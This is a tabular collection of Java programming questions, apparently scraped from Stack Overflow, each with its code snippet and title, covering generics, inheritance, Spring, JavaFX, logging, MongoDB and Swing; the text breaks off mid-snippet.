persons under the appropriate heading . If the user has not entered data for one or more types of Person during a session display an appropriate message under the appropriate heading . `` After reading the Tutorials on inheritance and trolling a bunch of inheritance discussions , I think I 've got it right on paper , but would prefer some input before I get elbows deep in code that does n't work . : ) I 'm defining ( or Faculty or CollegeEmployee ) .The Person class has all the input fields for a Person , and the subclasses have ONLY the additional data ( e.g. , major in the case of Student ) .When I create the new Student ( ) ; the input fields in BOTH the People and Student classes will be available to me because Student extends People and the additional variables defined in Student are appended to the definition of Person for that instance.When it comes time to pull data from the array , Java sees it as an array of Person , so I need to add logicto execute the appropriate actions for the type of Person . My sense is that the instanceof is acting to override ( in this case to append to ) what Java knows about the Person class on the output side . Am I missing any critical understandings of this ?","Class | Extends | Variables -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Person | None | firstName , lastName , streetAddress , zipCode , phone CollegeEmployee | Person | ssn , salary , deptName Faculty | CollegeEmployee | tenure ( boolean ) Student | person | GPA , major Person [ x ] = new Student ( ) ; if Person [ x ] instanceof Student ( or ` Faculty ` or ` CollegeEmployee ` )",Inheritance in Core Java +Java,"I was helping a friend with Java the other day , and they were asking about Enums . I explained that the C syntax of ( something like ) Was n't the way to go , the Java syntax is something ( 1 ) ; you made a constructor that accepted an int and then did this and that ... etc.But they stopped me and asked `` If we 're using constructors and so on , why bother with an enum , why not just have a new class ? `` And I could n't answer . So why would you use an enum in this case , and not a class ?",enumeration Difficulty { BEGINNER= 1 ; PRO=5 ; EXPERT = 11 ; },"Why would I use an Enum , and not just a class ?" +Java,"I have N workers that share a queue of elements to compute . At each iteration , each worker removes an element from the queue and can produce more elements to compute , that are going to be put in the same queue . Basically , each producer is also a consumer . The computation finishes when there are no elements on the queue and all the workers have finished computing the current element ( hence no more elements to compute can be produced ) . I want to avoid a dispatcher/coordinator , so the workers should coordinate . What is the best pattern to allow a worker to find out if the halting conditions is valid , and hence halt the computation on behalf of the others ? For example , if all the threads would just do this cycle , when the elements are all computed , it would result in all the threads being blocked eternally :",while ( true ) { element = queue.poll ( ) ; newElements [ ] = compute ( element ) ; if ( newElements.length > 0 ) { queue.addAll ( newElements ) ; } },Java producer-consumer with stopping condition +Java,"I want to do but I get told that I need to handle MalformedURLException . THe specs say that MalformedURLException is Thrown to indicate that a malformed URL has occurred . Either no legal protocol could be found in a specification string or the string could not be parsed . Now , I know that the URL I give is not malformed , so I 'd rather not handle an exception I know can not occur . Is there anyway to avoid the unnecessary try-catch-block clogging up my source code ?",public class Settings { static final URL logo = new URL ( `` http : //www.example.com/pic.jpg '' ) ; // and other static final stuff ... },Bypass java exception specification ... ? +Java,"I 'm trying to cut an ArrayList < String > in 2 halves.Why ? what is the view representing , which subList returns ?","ArrayList < String > in = new ArrayList < > ( ) , out1 , out2 ; out1 = ( ArrayList < String > ) in.subList ( 0,2 ) ; //will cause an ClassCastException : List can not be casted to ArrayListout2 = ( ArrayList < String > ) in.subList ( 2,5 ) ; // either here","What is the view of List.sublist ( n , m ) ?" +Java,Why is code snippet A 14x slower than code snippet B ? ( tested with jdk1.8.0_60 on Windows 7 64bits ) Code snippet A : Code snippet B : TL ; DR : Using the new keyword inside a loop is faster than accessing a static final field . ( note : Removing the final keyword on RECTANGLE does not change the execution time ),"import java.awt.geom.RoundRectangle2D ; public class Test { private static final RoundRectangle2D.Double RECTANGLE = new RoundRectangle2D.Double ( 1 , 2 , 3 , 4 , 5 , 6 ) ; public static void main ( String [ ] args ) { int result = RECTANGLE.hashCode ( ) ; long start = System.nanoTime ( ) ; for ( int i = 0 ; i < 100_000_000 ; i++ ) { result += RECTANGLE.hashCode ( ) ; // < = Only change is on this line } System.out.println ( ( System.nanoTime ( ) - start ) / 1_000_000 ) ; System.out.println ( result ) ; } } import java.awt.geom.RoundRectangle2D ; public class Test { private static final RoundRectangle2D.Double RECTANGLE = new RoundRectangle2D.Double ( 1 , 2 , 3 , 4 , 5 , 6 ) ; public static void main ( String [ ] args ) { int result = RECTANGLE.hashCode ( ) ; long start = System.nanoTime ( ) ; for ( int i = 0 ; i < 100_000_000 ; i++ ) { result += new RoundRectangle2D.Double ( 1 , 2 , 3 , 4 , 5 , 6 ) .hashCode ( ) ; } System.out.println ( ( System.nanoTime ( ) - start ) / 1_000_000 ) ; System.out.println ( result ) ; } }",Why is static final slower than a new on each iteration +Java,"I was recently removing a block of code from our code base before a release and used an if ( false ) statement to prevent execution : This compiles fine and will prevent execution of the offending block of code ( right or wrong , that 's not the current argument ) .However , kind of by accident , I changed the block above to : and received an unreachable statement compilation error . I appreciate the compilation error and understand the reasons , however , I 'm struggling to comprehend the difference between the two blocks and why the former compiles fine but the latter does not when they both have unreachable statements .",if ( false ) { ArrayList < String > list = new ArrayList < String > ( ) ; ... } while ( false ) { ArrayList < String > list = new ArrayList < String > ( ) ; ... },While ( false ) causes unreachable statement compilation error +Java,"I have an application on my Ubuntu 14.04.x Machine . This application does text mining on PDF files . I suspect that it is using Apache Tika etc ... The problem is that , during its reading process , I get the following warning : How can I get those fonts on my machine ? Or is it some java lib that I am missing for fonts ?",2015-09-10 14:15:35 [ WARN ] FontManager Font not found : CourierNewPSMT2015-09-10 14:15:36 [ WARN ] FontManager Font not found : CourierNewPSMT2015-09-10 14:19:33 [ WARN ] FontManager Font not found : Helvetica2015-09-10 14:19:34 [ WARN ] FontManager Font not found : ESQWSF+Helvetica2015-09-10 14:19:34 [ WARN ] FontManager Font not found : ESQWSF+Helvetica2015-09-10 14:19:34 [ WARN ] FontManager Font not found : ESQWSF+Helvetica ... ...,Font issue on Ubuntu machine in parsing PDF File +Java,"Today I came across an obfuscated class ( well a lot of obfuscated classes in a jar ) and I do not have a clue on how this kind of obfuscation is done.An example : As you see above , all the parameter variables are a snow-man . How can this be undone ? Also how is it done in the first place ; how is the JVM able to `` process '' those and execute the code without any problem ? To clarify , I am not going to use this code , it is just for educational purposes . I am taking the Computer Science course at school so since we are learning Java and talking of limitations such as decompilations . I am interested in learning more , so I decided to have a look into bigger projects especially servers . This piece of code is pulled out of the Spigot server for Minecraft ( A game ) that is a fork of Bukkit server for Minecraft that was supposed to be open source .","protected void a ( ChannelHandlerContext ☃ , ByteBuf ☃ , ByteBuf ☃ ) throws Exception { int ☃ = ☃.readableBytes ( ) ; if ( ☃ < this.c ) { ☃.b ( 0 ) ; ☃.writeBytes ( ☃ ) ; } else { byte [ ] ☃ = new byte [ ☃ ] ; ☃.readBytes ( ☃ ) ; ☃.b ( ☃.length ) ; this.b.setInput ( ☃ , 0 , ☃ ) ; this.b.finish ( ) ; while ( ! this.b.finished ( ) ) { int ☃ = this.b.deflate ( this.a ) ; ☃.writeBytes ( this.a , 0 , ☃ ) ; } this.b.reset ( ) ; } } }",How is obfuscation done in Java ? +Java,"I am currently writing a couple of tests involving JMock . I can not understand the following structure of the code : Analysing slowly , as far as I know , This will generate an anonoymous instantiateion of Expectations . But why do we have another brackets right after this , and then some strange , static I believe , methods such as allowing ( ) etc ? If someone could explain to me from Java point of view what is going on here I would be very grateful .",context.checking ( new Expectations ( ) { //context is of type Mockery of course { allowing ( csv ) .getFileName ( ) ; will ( returnValue ( fileName ) ) ; } } ) ; context.checking ( new Expectations ( ) { ... },JMock - strange syntax for adding expectations +Java,"( Edited to clarify ) I have a POJO ( SessionStorage ) to store session specific data , which I want to populate after a successful authentication . Since I 'm setting the Scope to `` session '' , I 'm expecting for the MainController and the AuthenticationSuccesshandler to use the same instance of the object.When I run the WebApp , the Main Controller initiates an instance ( as expected ) , but when I log in , the AuthenticationSuccesshandler seems not to have autowired the SessionStorage object , since it throws a NullPointerException.How do I get it to do what I want ? Here are the excerpts of my code : The main controller looks as follows : The AuthentificationSuccesshandler ( where the error gets thrown ) : The relevant part of spring-security.xml : web-xml :","@ Component @ Scope ( value = `` session '' , proxyMode = ScopedProxyMode.TARGET_CLASS ) public class SessionStorage implements Serializable { long id ; public int getId ( ) { return id ; } public SessionStorage ( ) { System.out.println ( `` New Session Storage '' ) ; id = System.currentTimeMillis ( ) ; } } @ Controller @ Scope ( `` request '' ) @ RequestMapping ( `` / '' ) public class MainController { @ Autowired private SessionStorage sessionStorage ; @ RequestMapping ( value = `` /login '' , method = RequestMethod.GET ) public ModelAndView login ( @ RequestParam ( value = `` error '' , required = false ) String error , @ RequestParam ( value = `` logout '' , required = false ) String logout ) { System.out.println ( sessionStorage.getId ( ) ) ; //Works fine ModelAndView model = new ModelAndView ( ) ; if ( error ! = null ) { model.addObject ( `` error '' , `` Invalid username and password ! `` ) ; } if ( logout ! = null ) { model.addObject ( `` msg '' , `` You 've been logged out successfully . `` ) ; } model.setViewName ( `` login '' ) ; return model ; } } public class AuthentificationSuccessHandler implements AuthenticationSuccessHandler { @ Autowired private SessionStorage sessionStorage ; @ Override public void onAuthenticationSuccess ( HttpServletRequest hsr , HttpServletResponse hsr1 , Authentication a ) throws IOException , ServletException { System.out.println ( `` Authentication successful : `` + a.getName ( ) ) ; System.out.println ( sessionStorage.getId ( ) ) ; //NullPointerException } } < beans : bean id= '' authentificationFailureHandler '' class= '' service.AuthentificationFailureHandler '' / > < beans : bean id= '' authentificationSuccessHandler '' class= '' service.AuthentificationSuccessHandler '' / > < http auto-config= '' true '' use-expressions= '' true '' > < intercept-url pattern= '' /secure/** '' access= '' hasRole ( 'USER ' ) '' / > < form-login login-page= '' /login '' default-target-url= '' /index '' authentication-failure-handler-ref= '' authentificationFailureHandler '' authentication-failure-url= '' /login ? error '' authentication-success-handler-ref= '' authentificationSuccessHandler '' username-parameter= '' username '' password-parameter= '' password '' / > < logout logout-success-url= '' /login ? logout '' / > < ! -- enable csrf protection -- > < csrf/ > < /http > < listener > < listener-class > org.springframework.web.context.ContextLoaderListener < /listener-class > < /listener >",Setting session scoped objects in AuthenticationSuccessHandler +Java,"After reading this question , I 've started to think about generic methods in Java 8 . Specifically , what happens with generic type parameters when methods are chained . For this question , I will use some generic methods from Guava 's ImmutableMap , but my question is more general and can be applied to all chained generic methods.Consider ImmutableMap.of generic method , which has this signature : If we use this generic method to declare a Map , the compiler infers the generic types correctly : I 'm aware that from Java 8 onwards , the compiler inference mechanism has been improved , i.e . it infers the generic types of methods from the context , which in this case is an assignment . The context can also be a method call : In this case , the generic types of ImmutableMap.of are inferred from the generic types of the argument of someMethod , ie . Map < String , String > map.But when I attempt to use ImmutableMap.builder ( ) and chain methods to build my map , I get a compilation error : The error is : ( I 've removed the packages names from the error message for the sake of clarity ) .I understand the error and why it happens . The first method in the chain is ImmutableMap.builder ( ) and the compiler has no context to infer the type parameters , so it fallbacks to < Object , Object > . Then , the ImmutableMap.Builder.put method is invoked with arguments `` a '' and `` b '' and finally the ImmutableMap.Builder.build ( ) method is called , which returns an ImmutableMap < Object , Object > . This is why I 'm receiving the incompatible types error : when I attempt to assign this ImmutableMap < Object , Object > instance to my Map < String , String > map variable , the compiler complains.I even know how to solve this error : I could either break the method chain into two lines , so that the compiler can now infer the generic type parameters : Or I could explicitly provide the generic type parameters : So my question is not how to solve/workaround this , but why I do need to provide the generic type parameters explicitly when chaining generic methods . Or , in other words , why ca n't the compiler infer the generic type parameters in a method chain , especially when the method chain is at the right side of an assignment ? If it were possible , would this break something else ( I mean , related to the generics type system ) ? EDIT : There 's a question asking the same , however the only answer it has does n't clearly explain why the compiler does n't infer the generic type parameters in a method chain . All it has is a reference to a small paragraph in the JSR-000335 Lambda Expressions for the JavaTM Programming Language Final Release for Evaluation ( spec part D ) : There has been some interest in allowing inference to `` chain '' : in a ( ) .b ( ) , passing type information from the invocation of b to the invocation of a . This adds another dimension to the complexity of the inference algorithm , as partial information has to pass in both directions ; it only works when the erasure of the return type of a ( ) is fixed for all instantiations ( e.g . List ) . This feature would not fit very well into the poly expression model , since the target type can not be easily derived ; but perhaps with additional enhancements it could be added in the future.So I think I might rephrase my original question as follows : What would these additional enhancements be ? How is it that passing partial information in both directions would make the inference algorithm more complex ? Why would this only work when the erasure of the return type of a ( ) is fixed for all instantiations ( e.g . List ) ? In fact , what does it mean that the erasure of the return type of a method is fixed for all instantiations ? Why would n't this feature fit very well into the poly expression model ? Actually , what is the poly expression model ? And why could n't the target type be easily derived in this case ?","public static < K , V > ImmutableMap < K , V > of ( K k1 , V v1 ) Map < String , String > map = ImmutableMap.of ( `` a '' , `` b '' ) ; void someMethod ( Map < String , String > map ) { // do something with map } someMethod ( ImmutableMap.of ( `` a '' , `` b '' ) ) ; Map < String , String > map = ImmutableMap.builder ( ) .put ( `` a '' , `` b '' ) .build ( ) ; // error here : does not compile Error : ( ... ) java : incompatible types : ImmutableMap < Object , Object > can not be converted to Map < String , String > ImmutableMap.Builder < String , String > builder = ImmutableMap.builder ( ) ; Map < String , String > map = builder.put ( `` a '' , `` b '' ) .build ( ) ; Map < String , String > map = ImmutableMap. < String , String > builder ( ) .put ( `` a '' , `` b '' ) .build ( ) ;",Generic type parameters inference in method chaining +Java,"Sometimes we have several classes that have some methods with the same signature , but that do n't correspond to a declared Java interface . For example , both JTextField and JButton ( among several others in javax.swing . * ) have a method Now , suppose I wish to do something with objects that have that method ; then , I 'd like to have an interface ( or perhaps to define it myself ) , e.g.so that I could write : But , sadly , I ca n't : This cast would be illegal . The compiler knows that JButton is not a CanAddActionListener , because the class has not declared to implement that interface ... however it `` actually '' implements it.This is sometimes an inconvenience - and Java itself has modified several core classes to implement a new interface made of old methods ( String implements CharSequence , for example ) .My question is : why this is so ? I understand the utility of declaring that a class implements an interface . But anyway , looking at my example , why ca n't the compiler deduce that the class JButton `` satisfies '' the interface declaration ( looking inside it ) and accept the cast ? Is it an issue of compiler efficiency or there are more fundamental problems ? My summary of the answers : This is a case in which Java could have made allowance for some `` structural typing '' ( sort of a duck typing - but checked at compile time ) . It did n't . Apart from some ( unclear for me ) performance and implementations difficulties , there is a much more fundamental concept here : In Java , the declaration of an interface ( and in general , of everything ) is not meant to be merely structural ( to have methods with these signatures ) but semantical : the methods are supposed to implement some specific behavior/intent . So , a class which structurally satisfies some interface ( i.e. , it has the methods with the required signatures ) does not necessarily satisfies it semantically ( an extreme example : recall the `` marker interfaces '' , which do not even have methods ! ) . Hence , Java can assert that a class implements an interface because ( and only because ) this has been explicitly declared . Other languages ( Go , Scala ) have other philosophies .","public void addActionListener ( ActionListener l ) public interface CanAddActionListener { public void addActionListener ( ActionListener l ) ; } public void myMethod ( CanAddActionListener aaa , ActionListener li ) { aaa.addActionListener ( li ) ; ... . JButton button ; ActionListener li ; ... this.myMethod ( ( CanAddActionListener ) button , li ) ;",Why interfaces must be declared in Java ? +Java,"I am new to C++ and I am porting over a Java project to C++.Consider the following Java code , where Piece is a class representing a chess piece : It creates an array where all the entries are null.How can I achieve the same thing in C++ ? I tried : But this will create an array with all the entries initialized with the default constructor.ThanksEdit : I want the C++ code to be efficient/elegant and I do not care nor wnant to copy paste from Java to C++ . I am happy to heavily modify the code structure if needed.Edit 2 : The code is for chess programm , the size of the array will never change and performance is critical .",Piece [ ] [ ] myPieces = new Piece [ 8 ] [ 8 ] ; Piece* myPieces = new Piece [ 8 ] [ 8 ] ;,"Array of objects , difference between Java and C++" +Java,"It seems that although the log level was set to INFO , SLF4J is still evaluating the expression.Log4J Property file : Run output : EDIT : Amended the run output , as seen , the expression is evaluated , however the log message is not . Expression should not be evaluated as per SLF4J 's `` Performance Logging ''","package com.ab.test.slf4j ; import org.apache.log4j.PropertyConfigurator ; import org.slf4j.Logger ; import org.slf4j.LoggerFactory ; public class SimpleTest { static final Logger logger = LoggerFactory.getLogger ( SimpleTest.class ) ; public static void main ( String [ ] args ) { PropertyConfigurator.configure ( `` log4j.properties '' ) ; logger.debug ( `` Test `` + testEnter ( ) ) ; logger.debug ( `` Test { } '' , testEnter ( ) ) ; } public static String testEnter ( ) { System.out .println ( `` If you see this it means your expression is evaluated : ( `` ) ; return `` test '' ; } } log4j.rootLogger=INFO , CAlog4j.appender.CA=org.apache.log4j.ConsoleAppenderlog4j.appender.CA.layout=org.apache.log4j.PatternLayoutlog4j.appender.CA.layout.ConversionPattern= % -4r [ % t ] % -5p % c % x - % m % n If you see this it means your expression is evaluated : ( If you see this it means your expression is evaluated : (",SLF4J-Log4J does not appear to have disabled logging +Java,"If I have the following Scala class : Then I only need to define the id method in Scala to get a concrete class . But if I try to extend it in Java , the compiler says that all the concrete methods of Ordered are missing . So , does that mean that the Scala compiler is only putting the implementation of the concrete methods of Ordered in concrete Scala classes ? This seems very wasteful , because I could have dozens of concrete classes implementing MyOrdered , and they would all get a copy of the same code , when in fact it would be enough to just put it directly in the base class MyOrdered . Also , this makes it very difficult to create a Java-friendly Scala API . Is there any way to force the Scala compiler to put the method definitions where it should have done so anyway , apart from making the class concrete by using dummy method implementations ? Even funnier is declaring a concrete method final in a Scala trait . In that case , it is still not implemented in an abstract Scala class that extends the trait , but it can not be implemented in a Java class that extends the abstract Scala class because it is flagged as final . This is definitely a compiler bug . Final abstract methods make no sense , even if they are legal in the JVM , apparently .",abstract class MyOrdered extends Ordered [ MyOrdered ] { def id : Int def compare ( that : MyOrdered ) : Int = if ( that==null ) 1 else ( id-that.id ) },How does the Scala compiler handle concrete trait methods ? +Java,"Possible Duplicate : Static fields on a null reference in Java I understand that static methods are on class level . So I am aware that I do not need to create instance to call static methods . But I am also aware that I can call static method LIKE an instance method . This is where I am confused , because I was expecting a NullPointerException while calling the static method from the null object ( as in calling instance method ) . I would really appreciate some explanation on why I was wrong to expect a NullPointerException here . Here is the sample code :","public class SampleClass { public static int getSumStatic ( int x , int y ) { return x+y ; } public int getDifferenceInstance ( int x , int y ) { return x-y ; } } public class TestClass { public static void main ( String [ ] args ) { SampleClass sc=null ; System.out.println ( SampleClass.getSumStatic ( 2 , 2 ) ) ; //as expected //I was expecting NullPointerException in the next line , since I am accessing null object System.out.println ( sc.getSumStatic ( 4,5 ) ) ; //static method , executes perfectly System.out.println ( sc.getDifferenceInstance ( 6,4 ) ) ; //throws NullPointerException } }",Why I am not getting NullPointerException ? +Java,"The following java 11 code : gives the following error : The problem is that the digest is based on the date , so I can not simply rely on the http client date , because that will make the digest invalid.I need a way to either set the Date header , or to retrieve the Date header and then set the digest thereafter . Neither seems possible with standard java 11 .","HttpRequest request = HttpRequest.newBuilder ( ) .uri ( uri ) .header ( `` Digest '' , digest ) .header ( `` Date '' , date ) .build ( ) ; Exception in thread `` main '' java.lang.IllegalArgumentException : restricted header name : `` Date ''",In Java 11 HttpClient how to solve restricted header name : Date +Java,"I have a class and the following are its constructorsThe above is giving me an error saying : I even tried doing : But in the above , I then have to convert the whole ArrayList into a ArrayList . Which I think is in-efficient . I am trying to instantiate a class either with ArrayList or with ArrayList ( the user has the choice ) .Data = new Data ( new ArrayList < String > ( ) ) ; Data = new Data ( new ArrayLIst < Integer > ( ) ) ; So both of the above should work . Based on the type of input parameter passed the class would then call different methods.Is there are better to achieve what I want ? Thank you in advance .",public Data ( ArrayList < String > row ) { } public Data ( ArrayList < Integer > row ) { } Method Data ( ArrayListList ) has the same erasure Data ( ArrayList ) as another method in type Data . public Data ( ArrayList < ? > rows ) { if ( rows.get ( 0 ) instanceof String ) { initializeData ( rows ) ; } },How to make constructors with different generics in java +Java,"My JavaFX application has a Label with an fx : id of location . It is defined in an FXML file . When I try to run the application , I get the following error : java.lang.IllegalArgumentException : Can not set javafx.scene.control.Label field sample.Controller.location to java.net.URLI am using JDK 12 with JavaFX 11.0.2.I 've seen other answers here on SO that say this is caused by a conflicting type for the location Label . For example , it might be declared as a Label in the FXML file but in the Java code it is something else ( in this case , java.net.URL ) . However , as you can see in the code below , I am not using the URL class anywhere.Changing the fx : id to something else ( such as loc ) makes the error go away , so location must be a `` magic '' name.What is causing this ? sample.fxmlMain.javaController.javamodule-info.java","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ? import javafx.scene.control.Label ? > < ? import javafx.scene.layout.Pane ? > < Pane maxHeight= '' -Infinity '' maxWidth= '' -Infinity '' minHeight= '' -Infinity '' minWidth= '' -Infinity '' prefHeight= '' 400.0 '' prefWidth= '' 600.0 '' xmlns= '' http : //javafx.com/javafx/11.0.1 '' xmlns : fx= '' http : //javafx.com/fxml/1 '' fx : controller= '' sample.Controller '' > < children > < Label fx : id= '' location '' layoutX= '' 133.0 '' layoutY= '' 146.0 '' text= '' Output '' / > < /children > < /Pane > package sample ; import javafx.application.Application ; import javafx.fxml.FXMLLoader ; import javafx.scene.Parent ; import javafx.scene.Scene ; import javafx.stage.Stage ; public class Main extends Application { @ Override public void start ( Stage primaryStage ) throws Exception { Parent root = FXMLLoader.load ( getClass ( ) .getResource ( `` sample.fxml '' ) ) ; primaryStage.setTitle ( `` Hello World '' ) ; primaryStage.setScene ( new Scene ( root , 400 , 275 ) ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } } package sample ; import javafx.fxml.FXML ; import javafx.scene.control.Label ; public class Controller { @ FXML Label location ; } module MyTest { requires javafx.controls ; requires javafx.fxml ; opens sample ; }",JavaFX java.lang.IllegalArgumentException : Can not set javafx.scene.control.Label field sample.Controller.location to java.net.URL +Java,"My team mates introduce me to new practice writing method which will not return void.Instead of returning void they suggest to return object itself . One of the advantage of this aproach they say , you can chain methods.Instead of writing : You can write more elegant code : What could be disadvantages of this aproach ? Do you suggest to include it in daily use ?",public class Test { public Test doCalculations ( ) { //code return this ; } public Test appendTitle ( String test ) { //code return this ; } } while ( 1 ) { test.appendTitle ( `` aaa '' ) ; test.doCalculations ( ) ; map.add ( test ) ; } while ( 1 ) { map.add ( test.appendTitle ( `` aaa '' ) .doCalculations ( ) ) ; },Practice to return itself instead void in Java +Java,"In SQL you can do the following ; How can I feed boolean expressions like ' 1=1 ' or ' 4 < 6 ' as criteria to MongoDB logical operators in Java ? For instance , I can do ; however , the above criteria are always based on already existing fields , while what I would like to do instead is more something like this ( wo n't compile ) ; The reason I need this , is because I have a list of ' $ or ' criteria but this list might be empty - in this case I want to have no criteria at all.Update 1While @ gil.fernandes 's solution is great for find queries , it will not work in aggregation queries ( which is also what I need ) ; MongoCommandException : Command failed with error 16395 : ' $ where is not allowed inside of a $ match aggregation expression'Any ideas on how we can use the ' 1=1 ' logic in $ match operators of aggregation ? Update 2I applied @ Veeram 's second solution using mongo server version 3.4.7However , if I include the addFields and match objects into my aggregation query I get 0 results . If I remove them , I get all the results .","SELECT * FROM CUSTOMERS WHERE ID=43 AND 1=1 collection.find ( `` $ or '' , Arrays.asList ( new Document ( `` field1 '' , value1 ) , new Document ( `` field2 '' , value2 ) ) ) collection.find ( `` $ and '' , Arrays.asList ( new Document ( 1,1 ) , new Document ( `` field2 '' , value2 ) ) ) AggregateIterable aggregationQuery = collection.aggregate ( Arrays.asList ( [ ... ] new Document ( `` $ match '' , new Document ( `` $ or '' , Arrays.asList ( new Document ( `` $ where '' , '' 1==1 '' ) ) ) ) ) ) ; collection = mongoClient.getDatabase ( `` testDatabase '' ) .getCollection ( `` testColletion '' ) ; collection.insertOne ( new Document ( `` testField '' , '' testValue '' ) ) ; Bson addFields = Aggregates.addFields ( new Field < > ( `` cmp '' , new Document ( `` $ or '' , Arrays.asList ( new Document ( `` $ eq '' , Arrays.asList ( 1 , 1 ) ) ) ) ) ) ; Bson match = Aggregates.match ( Filters.eq ( `` cmp '' , 1 ) ) ; AggregateIterable aggregationQuery = collection.aggregate ( Arrays.asList ( new Document ( `` $ match '' , new Document ( `` testField '' , `` testValue '' ) ) , addFields , match ) ) ; boolean hasDocuments = aggregationQuery.iterator ( ) .hasNext ( )",MongoDB equivalent of SQL expression ' 1=1 ' in Java +Java,"I was trying to understand how a java String was implemented.The jdk7 source code below shows a check for originalValue.length > size .I cant figure out how/when it would come true.I tried to use eclipse debugger on some java String creation statements , but this check was never true.Is it possible to devise a String argument which would make this check true ?","public final class String { /** The value is used for character storage . */ private final char value [ ] ; /** The offset is the first index of the storage that is used . */ private final int offset ; /** The count is the number of characters in the String . */ private final int count ; /** Cache the hash code for the string */ private int hash ; // Default to 0 /** * Initializes a newly created { @ code String } object so that it represents * the same sequence of characters as the argument ; in other words , the * newly created string is a copy of the argument string . Unless an * explicit copy of { @ code original } is needed , use of this constructor is * unnecessary since Strings are immutable . * * @ param original * A { @ code String } */ public String ( String original ) { int size = original.count ; char [ ] originalValue = original.value ; char [ ] v ; if ( originalValue.length > size ) { // The array representing the String is bigger than the new // String itself . Perhaps this constructor is being called // in order to trim the baggage , so make a copy of the array . int off = original.offset ; v = Arrays.copyOfRange ( originalValue , off , off+size ) ; } else { // The array representing the String is the same // size as the String , so no point in making a copy . v = originalValue ; } this.offset = 0 ; this.count = size ; this.value = v ; } ... }",java String constructor logic +Java,"This code seems to work fineDoes the method type parameter shadow the class type parameter ? Also when you create an object does it use the type parameter of the class ? exampleDoes this normally apply to the type parameter of the class , in the situation where they do not conflict ? I mean when only the class has a type parameter , not the constructor , or does this look for a type parameter in the constructor ? If they do conflict how does this change ? SEE DISCUSSION BELOWif I have a function call","class Rule < T > { public < T > Rule ( T t ) { } public < T > void Foo ( T t ) { } } Rule < String > r = new Rule < String > ( ) ; x = < Type Parameter > method ( ) ; // this is a syntax error even inside the function or class ; I must place a this before it , why is this , and does everything still hold true . Why do n't I need to prefix anything for the constructor call . Should n't Oracle fix this .",Generics Java and Shadowing of type parameters +Java,I have the following code snippet : If I call foo ( null ) why is there no ambiguity ? Why does the program call foo ( String x ) instead of foo ( Object x ) ?,public static void foo ( Object x ) { System.out.println ( `` Obj '' ) ; } public static void foo ( String x ) { System.out.println ( `` Str '' ) ; },Strange Java null behavior in Method Overloading +Java,"This code looks obviously incorrect and yet it happily compiles and runs on my machine . Can someone explain how this works ? For example , what makes the `` ) '' after the class name valid ? What about the random words strewn around ? Test online : https : //ideone.com/t1W5VmSource : https : //codegolf.stackexchange.com/a/60561","class M‮ { public static void main ( String [ ] a‭ ) { System.out.print ( new char [ ] { ' H ' , ' e ' , ' l ' , ' l ' , ' o ' , ' ' , ' W ' , ' o ' , ' r ' , ' l ' , 'd ' , ' ! ' } ) ; } }",How is this valid Java code ? ( obfuscated Java ) +Java,"Is there a way I can use STAX parser to efficiently parse an XML document with multiple lists of objects of different classes ( POJO ) . The exact structure of my XML is as follows ( class names are not real ) I have been using the STAX Parser i.e . XStream library , link : XStreamIt works absolutely fine as long as my XML contains list of one class of objects but I dont know how to handle an XML that contains list of objects of different classes . Any help would be really appreciated and please let me know if I have not provided enough information or I have n't phrased the question properly .",< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < root > < notes / > < category_alpha > < list_a > < class_a_object > < /class_a_object > < class_a_object > < /class_a_object > < class_a_object > < /class_a_object > < class_a_object > < /class_a_object > . . . < /list_a > < list_b > < class_b_object > < /class_b_object > < class_b_object > < /class_b_object > < class_b_object > < /class_b_object > < class_b_object > < /class_b_object > . . . < /list_b > < /category_alpha > < category_beta > < class_c_object > < /class_c_object > < class_c_object > < /class_c_object > < class_c_object > < /class_c_object > < class_c_object > < /class_c_object > < class_c_object > < /class_c_object > . . . . . < /category_beta > < /root >,Unmarshalling XML to three lists of different objects using STAX Parser +Java,"Question : I 'm try to create an check-box in Java that contains in the text an hyper-link.But , I could n't make the link clickable , and only the link , not the whole text.Here my sample code : The frame1 show a simple check-box and the whole text is clickable and check/uncheck the box.That 's why I made the frame2 , made by the composition of a check box and and a JLabel.It work well , but it 's all the text that is clickable.Are there any way to have only the link clickable ? ThanksLuffy [ EDIT ] Reponse : Thanks to @ camickr to give me a piece of response.Here the solution , that is not so easy to do at the end : Some explanations to understand : I have use the JtextPane in place of the JEditorPane because the text does n't wrap in the text editor and I could do it with my html tag.I have modified the text provided to add the bold and underline tags < b > < u > and also I have change the color to the hyperlink to be as a normal link . In other case , you will have the link , but it will have the same color of your text.Pay attention at the HyperlinkListener that generate an event each time your mouse is over the link , that why I have filtered the event with HyperlinkEvent.EventType.ACTIVATED that correspond to a 'click'Chang the font size/style/color to the whole text it 's really tricky , you need to use my technics , the methods setFont does n't work hereEnjoy : ) [ EDIT2 ] Something to know : In the case you are using the Nimbus Look & Feel : There are a bug and you will have a white background . So you need to fix it by adding this piece of code instead of a setBackground ( ) method : Same for a JEditorPane but change the line","public class TestClickLinkInCheckBox implements MouseListener { private JFrame frame1 ; private JFrame frame2 ; private String linkedText = `` I have checked the data set I have selected , and agree to sign it following < a href=\ '' http : //www.google.com\ '' > the conditions of use of the service , defined in the policies of signature and certification < /a > that I attest having read . `` ; private JLabel label ; public TestClickLinkInCheckBox ( ) { justCheckBox ( ) ; checkBoxWithLabel ( ) ; } private void justCheckBox ( ) throws HeadlessException { frame1 = new JFrame ( ) ; JPanel panel = new JPanel ( ) ; panel.setBorder ( BorderFactory.createEmptyBorder ( 50 , 50 , 50 , 50 ) ) ; JCheckBox checkBox = new JCheckBox ( prettyText ( linkedText , 300 , `` left '' ) ) ; panel.add ( checkBox ) ; frame1.add ( panel ) ; } private void checkBoxWithLabel ( ) { frame2 = new JFrame ( ) ; JPanel panel = new JPanel ( ) ; panel.setBorder ( BorderFactory.createEmptyBorder ( 50 , 50 , 50 , 50 ) ) ; JCheckBox checkBox = new JCheckBox ( ) ; panel.add ( checkBox ) ; label = new JLabel ( prettyText ( linkedText , 300 , `` left '' ) ) ; label.addMouseListener ( this ) ; panel.add ( label ) ; frame2.add ( panel ) ; } private void display ( ) { frame1.setVisible ( true ) ; frame1.pack ( ) ; frame2.setVisible ( true ) ; frame2.pack ( ) ; } public static String prettyText ( String badText , int length , String textAlign ) { return `` < html > < body width= ' '' + String.valueOf ( length ) + `` px ' > < div style=\ '' text-align : `` + textAlign + `` ; \ '' > '' + badText.replace ( `` ||| '' , `` < br > '' ) + `` < /html > '' ; } @ Override public void mouseClicked ( 